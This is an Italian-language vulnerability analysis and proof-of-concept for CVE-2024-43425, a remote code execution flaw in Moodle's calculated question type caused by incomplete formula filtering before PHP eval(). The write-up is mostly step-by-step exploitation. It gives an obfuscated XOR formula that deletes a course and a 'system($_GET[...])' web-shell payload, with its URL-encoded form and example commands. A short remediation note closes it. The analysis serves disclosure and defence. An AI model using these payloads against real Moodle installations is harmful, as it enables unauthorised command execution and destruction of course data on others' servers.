
Analisi tecnica dettagliata e exploit proof-of-concept per una vulnerabilità di esecuzione remota di codice nel tipo di domanda calcolata di Moodle (CVE-2024-43425), inclusa l'analisi delle cause profonde e la riproduzione passo-passo.
Nome dell'applicazione: Moodle
Versione build: moodle-4.4.1
Versioni interessate: 4.4 fino a 4.4.1, 4.3 fino a 4.3.5, 4.2 fino a 4.2.8, 4.1 fino a 4.1.11 e versioni precedenti non supportate
Link per il download: moodle-4.4.1
Gli aggressori con il permesso di creare o modificare domande in un corso Moodle possono creare input malevoli per domande calcolate, che possono essere sfruttati per eseguire comandi arbitrari sul sistema sottostante.

La funzione qtype_calculated_find_formula_errors aiuta a garantire la validità delle formule inserite in Moodle, prevenendo errori di sintassi

Le variabili vengono sostituite con il numero 1.0, la formula viene convertita in minuscolo e gli spazi vengono rimossi.


La logica di convalida principale viene eseguita iterando sulla formula e identificando l'espressione matematica più interna a sinistra, distinguibile per l'assenza di parentesi annidate. Quindi, questa espressione viene sostituita con un 1.0

Infine, dopo che l'espressione regolare non restituisce ulteriori corrispondenze, la formula è considerata valida se contiene solo operatori o numeri sicuri. La formula originale viene poi passata direttamente a eval.
La verifica del risultato viene effettuata passando la formula alla funzione PHP eval() dopo un filtraggio incompleto. Ci sono 2 approcci per eludere la logica di convalida:

La sostituzione dei segnaposto delle variabili come {a} con i loro valori viene racchiusa in (), se aggiungiamo {a} all'espressione sopra corrispondente a 'PRINTF' il risultato sarà 'PRINTF'(1), quindi è possibile definire una formula di risposta con due parti: a (function_name) e a {variable}.
2) Le variabili non definite non vengono sostituite prima di essere passate alla funzione eval(), quindi rimangono inalterate come parte della formula. Inoltre, i controlli di sanificazione per i nomi delle variabili sono meno rigorosi di quelli implementati per tutte le altre parti della formula. Ciò può essere sfruttato per chiamare funzioni arbitrarie utilizzando la sintassi PHP object->{"member"}.
Creare una domanda calcolata con una variabile, ad esempio {a}

Salvare la domanda e definire l'intervallo di valori della variabile esattamente come l'ID del corso che è 3

Salvare la domanda, quindi modificare l'espressione in
((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^ (8 . 4 . 2 . 8 . 8 . 3 . 4 . 0 . 0 . 0 . -1 . 3) ^ (2 . 0 . 0 . 3 . 0 . 0 . 0 . 0 . 0 . -8 . 1 . 0) ^ (0 . 0 . 0 . 0 . 0 . 0 . -2 . 1 . 4 . 6 . 0 . 0) ^ (0 . 0 . 0 . 0 . -8 . 8 . 0 . 0 . 2 . 0 . -8)){a}

Salvare la domanda modificata porterà a un errore, ma la domanda verrà comunque salvata. Tornare alla banca delle domande e visualizzare l'anteprima della domanda; la funzione DELETE_COURSE eliminerà il corso con l'ID specificato, ignorando qualsiasi controllo dei permessi.


Creare una domanda calcolata. Impostare la formula di risposta a:
(1)->{system($_GET[chr(97)])}

L'espressione viene modificata in 1-0-system($_GET{chr(97)})

Intercettare la richiesta e modificarla di nuovo in (1)->{system($_GET[chr(97)])} %281%29-%3E%7Bsystem%28%24_GET%5Bchr%2897%29%5D%29%7D

Appare l'errore exception-system(): Argument #1 ($command) cannot be empty

Fornire il comando desiderato aggiungendo &a=[comando arbitrario] all'URL. L'output del comando di sistema specificato verrà inserito nell'intestazione della risposta HTTP risultante.
A=id

A=ls

Correggere la funzione di sanitizzazione qtype_calculated_find_formula_errors in /question/type/calculated/questiontype.php in modo che restituisca sempre false se le domande calcolate non sono in uso.